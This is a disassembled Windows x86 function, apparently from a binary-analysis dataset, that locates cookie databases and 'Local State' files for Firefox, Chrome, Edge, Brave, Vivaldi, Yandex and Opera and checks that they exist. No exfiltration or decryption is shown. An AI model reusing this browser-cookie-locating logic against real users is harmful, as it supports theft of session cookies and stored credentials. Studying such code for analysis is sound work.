Function at 0x567820
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x660adc
mov eax, dword fs:[0]
push eax
sub esp, 0x484
mov eax, dword [0x758898]
xor eax, esp
mov dword [esp + 0x480], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x758898]
xor eax, esp
push eax
lea eax, [esp + 0x498]
mov dword fs:[0], eax
xor ebp, ebp
xor eax, eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x20], ebp
mov word [esp + 0x1c], ax
mov dword [esp + 0x4a0], ebp
cmp dword [esp + 0x4ac], ebp
je 0x567a8a
cmp dword [0x75e8bc], ebp
jne 0x567aa1
lea ecx, [esp + 0x28c]
push ecx
call fcn.00567410
add esp, 4
test eax, eax
je 0x567a3f
lea eax, [esp + 0x28c]
xor bl, bl
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x5678b0
sub eax, edx
xor edx, edx
sar eax, 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x38], ebp
mov word [esp + 0x34], dx
mov byte [esp + 0x4a0], 1
cmp word [esp + eax*2 + 0x28a], 0x5c
lea edi, [esp + eax*2 + 0x28a]
mov eax, 0x679c78
je 0x5678f2
mov eax, 0x679980
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sMozillaFirefoxProfiles
lea ecx, [esp + 0x40]
call fcn.00402330
mov eax, dword [esp + 0x30]
cmp eax, ebp
jne 0x567916
lea eax, [esp + 0x34]
lea ecx, [esp + 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
cmp esi, 0xffffffff
je 0x567a2e
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x567940
mov ecx, 0x67bca4
lea eax, [esp + 0x68]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x567976
test dx, dx
je 0x567972
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x567976
add eax, 4
add ecx, 4
test dx, dx
jne 0x567950
xor eax, eax
jmp 0x56797b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x567a13
mov ecx, 0x67bc9c
lea eax, [esp + 0x68]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x5679b6
test dx, dx
je 0x5679b2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x5679b6
add eax, 4
add ecx, 4
test dx, dx
jne 0x567990
xor eax, eax
jmp 0x5679bb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x567a13
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jle 0x567a13
cmp word [edi], 0x5c
mov eax, 0x679c78
je 0x5679e3
mov eax, 0x679980
push 0
lea ecx, [esp + 0x6c]
push ecx
push eax
lea edx, [esp + 0x298]
push edx
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x2c]
call fcn.00411610
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
mov bl, 1
lea edx, [esp + 0x3c]
push edx
push esi
call ebp
test eax, eax
jne 0x567940
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
test bl, bl
jne 0x567a5a
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x30]
call fcn.00401210
mov dword [esp + 0x4a0], 0xffffffff
lea ecx, [esp + 0x18]
call fcn.00401210
xor eax, eax
jmp 0x5681a5
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x567a66
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567a2e
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x30]
call fcn.00401210
jmp 0x56807c
mov esi, dword [esp + 0x4a8]
cmp dword [0x75e8b8], esi
jne 0x567abf
cmp dword [0x75e8c0], ebp
je 0x567ad1
mov dword [esp + 0x4a0], 0xffffffff
lea ecx, [esp + 0x18]
call fcn.00401210
mov eax, 1
jmp 0x5681a5
mov dword [0x75e8c0], ebp
mov dword [0x75e8c4], ebp
mov dword [0x75e8b8], esi
lea eax, [esp + 0x28c]
push eax
call fcn.0040fba0
add esp, 4
test eax, eax
je 0x567a3f
lea eax, [esp + 0x28c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x567af3
sub eax, edx
sar eax, 1
cmp esi, 0x12
jne 0x567bbf
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x679c78
je 0x567b27
mov eax, 0x679980
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sMicrosoftEdgeUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x567b4b
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x567b9a
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567b69
mov eax, 0x679980
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sMicrosoftEdgeUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x567b8e
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567a3f
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567baa
mov eax, 0x679980
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sMicrosoftEdgeUser_DataLocal_State
jmp 0x568072
cmp esi, 0x13
jne 0x567c7c
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x679c78
je 0x567be4
mov eax, 0x679980
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sBraveSoftwareBrave_BrowserUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x567c08
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x567c57
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567c26
mov eax, 0x679980
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sBraveSoftwareBrave_BrowserUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x567c4b
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567a3f
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567c67
mov eax, 0x679980
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sBraveSoftwareBrave_BrowserUser_DataLocal_State
jmp 0x568072
cmp esi, 0x14
jne 0x567d39
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x679c78
je 0x567ca1
mov eax, 0x679980
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sVivaldiUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x567cc5
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x567d14
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567ce3
mov eax, 0x679980
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sVivaldiUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x567d08
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567a3f
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567d24
mov eax, 0x679980
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sVivaldiUser_DataLocal_State
jmp 0x568072
cmp esi, 0x15
jne 0x567df6
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x679c78
je 0x567d5e
mov eax, 0x679980
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sYandexYandexBrowserUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x567d82
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x567dd1
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567da0
mov eax, 0x679980
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sYandexYandexBrowserUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x567dc5
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567a3f
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x567de1
mov eax, 0x679980
push 0
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sYandexYandexBrowserUser_DataLocal_State
jmp 0x568072
cmp esi, 3
jne 0x567fc3
xor ecx, ecx
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], cx
mov byte [esp + 0x4a0], 2
mov eax, dword [0x75dc38]
cmp eax, ebp
jne 0x567e24
mov eax, 0x75dc3c
push eax
lea ecx, [esp + 0x28]
call fcn.00401800
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x567e3a
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.0061fd52
add esp, 8
cmp eax, ebp
jne 0x567e5a
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
jmp 0x567a3a
mov edx, str.IDM
mov ecx, eax
mov si, word [ecx]
or edi, 0xffffffff
cmp si, word [edx]
jne 0x567e8a
cmp si, bp
je 0x567e86
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x567e8a
add ecx, 4
add edx, 4
cmp si, bp
jne 0x567e61
xor ecx, ecx
jmp 0x567e8e
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
je 0x567f4e
mov edx, 0x679980
mov ecx, eax
lea ecx, [ecx]
mov si, word [ecx]
cmp si, word [edx]
jne 0x567ec6
cmp si, bp
je 0x567ec2
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x567ec6
add ecx, 4
add edx, 4
cmp si, bp
jne 0x567ea0
xor ecx, ecx
jmp 0x567eca
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
jne 0x567eee
xor ecx, ecx
mov word [eax], cx
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x567edf
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.0061fd52
add esp, 8
cmp eax, ebp
jne 0x567f16
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
call fcn.00401210
mov dword [esp + 0x4a0], edi
lea ecx, [esp + 0x18]
call fcn.00401210
xor eax, eax
jmp 0x5681a5
mov edx, str.IDM
mov ecx, eax
lea ecx, [ecx]
mov si, word [ecx]
cmp si, word [edx]
jne 0x567f46
cmp si, bp
je 0x567f42
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x567f46
add ecx, 4
add edx, 4
cmp si, bp
jne 0x567f20
xor ecx, ecx
jmp 0x567f4a
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
jne 0x567eee
add eax, 2
xor edx, edx
mov word [eax], dx
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x567f62
lea eax, [esp + 0x28]
push ebp
push eax
push str._sOpera_SoftwareOpera_Stablecookies
lea ecx, [esp + 0x24]
call fcn.004021c0
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x567f7e
lea eax, [esp + 0x28]
push ebp
push eax
push str._sOpera_SoftwareOpera_StableLocal_State
mov ecx, 0x75e8f8
call fcn.004021c0
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x567f9b
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567e49
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
call fcn.00401210
jmp 0x56807c
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x679c78
je 0x567fdf
mov eax, 0x679980
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sGoogleChromeUser_DataDefaultNetworkcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x568003
lea eax, [esp + 0x1c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call ebp
cmp eax, 0xffffffff
jne 0x568052
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x568021
mov eax, 0x679980
push 0
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sGoogleChromeUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402330
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x568046
lea eax, [esp + 0x1c]
push eax
call ebp
cmp eax, 0xffffffff
je 0x567a3f
cmp word [esi], 0x5c
mov eax, 0x679c78
je 0x568062
mov eax, 0x679980
push 0
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sGoogleChromeUser_DataLocal_State
mov ecx, 0x75e8f8
call fcn.00402330
lea ecx, [esp + 0x14]
call fcn.00402510
mov byte [esp + 0x4a0], 3
mov eax, dword [esp + 0x18]
test eax, eax
jne 0x568099
lea eax, [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0
push 0
or ebx, 0xffffffff
push ebx
push eax
push 0
push 0xfde9
call edi
mov esi, eax
test esi, esi
jle 0x5680e6
push esi
lea ecx, [esp + 0x18]
call fcn.00402860
mov ecx, dword [esp + 0x18]
test ecx, ecx
jne 0x5680d1
lea ecx, [esp + 0x1c]
push 0
push 0
push esi
push eax
push ebx
push ecx
push 0
push 0xfde9
call edi
test eax, eax
jne 0x56810e
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402580
mov dword [esp + 0x4a0], ebx
lea ecx, [esp + 0x18]
call fcn.00401210
xor eax, eax
jmp 0x5681a5
cmp dword [esp + 0x4ac], 0
je 0x56813c
mov eax, dword [esp + 0x14]
push eax
push 0x678ea8
push 0x75e8f0
call fcn.00402f80
mov esi, 1
add esp, 0xc
mov dword [0x75e8bc], esi
jmp 0x568182
mov ecx, dword [esp + 0x14]
push ecx
push 0x678ea8
push 0x75e8f4
call fcn.00402f80
add esp, 0xc
cmp dword [0x75e900], 0
mov esi, 1
mov dword [0x75e8c0], esi
je 0x568182
mov eax, dword [0x75e8f8]
test eax, eax
jne 0x568175
mov eax, 0x75e8fc
push eax
call ebp
cmp eax, ebx
je 0x568182
mov dword [0x75e8c4], esi
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402580
mov dword [esp + 0x4a0], ebx
lea ecx, [esp + 0x18]
call fcn.00401210
mov eax, esi
mov ecx, dword [esp + 0x498]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x480]
xor ecx, esp
call fcn.0062023e
add esp, 0x490
ret